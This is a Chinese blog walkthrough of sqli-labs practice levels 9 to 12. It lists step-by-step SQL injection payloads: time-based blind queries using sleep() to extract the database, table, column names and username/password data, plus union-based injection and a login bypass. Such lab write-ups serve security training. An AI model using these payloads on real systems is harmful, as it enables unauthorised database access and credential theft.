sqli-labs靶场通关

一.less-9

1.判断参数构造

发现是时间盲注

?id=1' and if(1=1,sleep(5),1)--+

2.判断数据可名长度

?id=1'and if(length((select database()))>9,sleep(5),1)--+

3.判断数据库字符

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

4.判断所有表名长度

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

5.逐一判断表名

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

6.判断所有字段名长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

7.逐一判断字段名

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

8.字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

9.逐一判断内容

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

二.less-10

这一关与上一关差不多只是闭合方式不同,发现是双引号闭合

?id=1"and if(1=1,sleep(5),1)--+

三.less-11

进来发现是登录页面了

使用万能密码登录成功admin admin

1.判断字段数

发现'or 1=1 order by 2 -- +回显正常,'or 1=1 order by 3 -- +异常

2.判断回显点

'union select 1,2-- +

3.判断数据库名

'union select 1,database() -- +

发现数据库名为security

4.列出所有表名

?id=10' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' -- +

5.列出所有列名

?id=10' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' -- +

6.判断数据

'union select 1,id from emails -- +

四.less-12

这一关和上关相同只是闭合方式变为了")

")union select 1,database() -- +

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值